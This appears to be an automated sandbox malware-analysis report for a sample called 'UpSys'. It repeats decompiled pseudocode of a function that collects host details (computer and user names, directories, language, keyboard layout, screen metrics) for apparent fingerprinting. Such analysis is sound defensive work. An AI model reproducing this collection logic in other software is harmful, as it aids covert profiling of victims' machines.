				GetWindowsDirectoryW();
				_t170 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t170 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t268 + 0x48)) = __r14;
				 *((long long*)(_t268 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t170 + 0x3e)) - r14b, _t268 + 0x48);
				 *_t170();
				E0000000114003DF10(_t268 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t266, __rsi);
				 *_t266 = r14d;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 6;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 3;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 9;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 5;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 0xa;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 2;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 7;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 8;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 0x40;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 0x41;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 0x42;
				E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = 0x43;
				E00000001140042150(_t177[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t171 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t171 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t234 =  ==  ? L"X86" : L"X64";
				_t172 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t172 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t172 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t172 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t172 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t172 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t172 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t163 =  *((intOrPtr*)(_t172 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t172 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t173 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t173 + 8));
				_t244 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t173, _t177, _t266, _t244 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t268 + 0x20)) = _t268 + 0xa0;
				E00000001140015DE0(_t177, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t268 + 0x20)) = _t268 + 0xa0;
				E00000001140015DE0(_t177, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t268 + 0x628) =  *(_t268 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t268 + 0xa0) & 0x0000ffff, _t163, _t268 + 0xa0, _t177, _t268 + 0xa0, _t263);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t268 + 0x3c0, L"1, 0, 0, 0"), _t268 + 0x3c0) <= 0) goto 0x40084f9c;
				_t178 = _t268 + 0x3c0;
				_t92 =  *(_t268 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t178 = 0x2e;
				goto 0x40084f7f;
				 *_t178 = _t92;
				_t177 =  &(_t178[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t268 + 0x3c0) < 0) goto 0x40084f63;
				_t176 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t268 + 0x3c0 + _t176 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t176, _t177, _t268 + 0x60, _t263, _t266, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t177, _t266, _t176);
				_t266[2] = r12d;
				 *_t266 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t263 = _t176;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t176, _t268 + 0xa0);
				 *(_t268 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L12;
				_t112 = E00000001140007A40(_t177, _t266, _t263);
				 *_t266 = r12d;
				_t266[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t177, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084aed
                                                                                                                                                                                                        0x140084aed
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: 878acf758b2edc0f73a35c10d81cd7ca7b1a5991466dc4e432c4a567da07210d
                                                                                                                                                                                                        • Instruction ID: ee60f03a38e2c8e3090606d45594969fa5bc53b378b4ddd993676418b625c7d2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 878acf758b2edc0f73a35c10d81cd7ca7b1a5991466dc4e432c4a567da07210d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 42C01232608690C1E7355755B055B9F22A0F74D344F501115A38E07D64CF38C500DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084AE6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084AE6(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t171;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t174;
				signed long long _t177;
				signed int* _t178;
				signed int* _t179;
				void* _t235;
				intOrPtr _t245;
				int* _t267;
				void* _t269;

				_t264 = __rsi;
				_t178 = __rbx;
				 *(_t269 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t171 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t171 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t269 + 0x48)) = __r14;
				 *((long long*)(_t269 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t171 + 0x3e)) - r14b, _t269 + 0x48);
				 *_t171();
				E0000000114003DF10(_t269 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t267, __rsi);
				 *_t267 = r14d;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 6;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 3;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 9;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 5;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 0xa;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 2;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 7;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 8;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 0x40;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 0x41;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 0x42;
				E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = 0x43;
				E00000001140042150(_t178[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t172 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t172 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t235 =  ==  ? L"X86" : L"X64";
				_t173 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t173 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t173 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t173 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t173 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t173 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t173 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t164 =  *((intOrPtr*)(_t173 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t173 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t174 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t174 + 8));
				_t245 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t174, _t178, _t267, _t245 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t269 + 0x20)) = _t269 + 0xa0;
				E00000001140015DE0(_t178, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t269 + 0x20)) = _t269 + 0xa0;
				E00000001140015DE0(_t178, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t269 + 0x628) =  *(_t269 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t269 + 0xa0) & 0x0000ffff, _t164, _t269 + 0xa0, _t178, _t269 + 0xa0, _t264);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t269 + 0x3c0, L"1, 0, 0, 0"), _t269 + 0x3c0) <= 0) goto 0x40084f9c;
				_t179 = _t269 + 0x3c0;
				_t92 =  *(_t269 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t179 = 0x2e;
				goto 0x40084f7f;
				 *_t179 = _t92;
				_t178 =  &(_t179[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t269 + 0x3c0) < 0) goto 0x40084f63;
				_t177 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t269 + 0x3c0 + _t177 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t177, _t178, _t269 + 0x60, _t264, _t267, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t178, _t267, _t177);
				_t267[2] = r12d;
				 *_t267 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t264 = _t177;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t177, _t269 + 0xa0);
				 *(_t269 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L13;
				_t112 = E00000001140007A40(_t178, _t267, _t264);
				 *_t267 = r12d;
				_t267[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t178, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084ae6
                                                                                                                                                                                                        0x140084ae6
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: 5f092cb5f140996bce6462aa8d25b7d3154d0721d1adf65b9188e0cb29d6651d
                                                                                                                                                                                                        • Instruction ID: 22834d75bff789a232595cb05dd11a125b42b3a169e9db5eb65908ac75dc952b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5f092cb5f140996bce6462aa8d25b7d3154d0721d1adf65b9188e0cb29d6651d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 93C0123260869181E7355755B055B9F2290F74D344F501125638A07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084AFB Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084AFB(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				intOrPtr _t171;
				signed long long _t174;
				signed int* _t175;
				signed int* _t176;
				void* _t232;
				intOrPtr _t242;
				int* _t264;
				void* _t266;

				_t261 = __rsi;
				_t175 = __rbx;
				 *(_t266 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t168 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t168 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t266 + 0x48)) = __r14;
				 *((long long*)(_t266 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t168 + 0x3e)) - r14b, _t266 + 0x48);
				 *_t168();
				E0000000114003DF10(_t266 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t264, __rsi);
				 *_t264 = r14d;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 6;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 3;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 9;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 5;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 0xa;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 2;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 7;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 8;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 0x40;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 0x41;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 0x42;
				E00000001140007A40(_t175, _t264, _t261);
				 *_t264 = 0x43;
				E00000001140042150(_t175[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t169 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t169 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t232 =  ==  ? L"X86" : L"X64";
				_t170 =  *0x400c88a8; // 0x3263d10
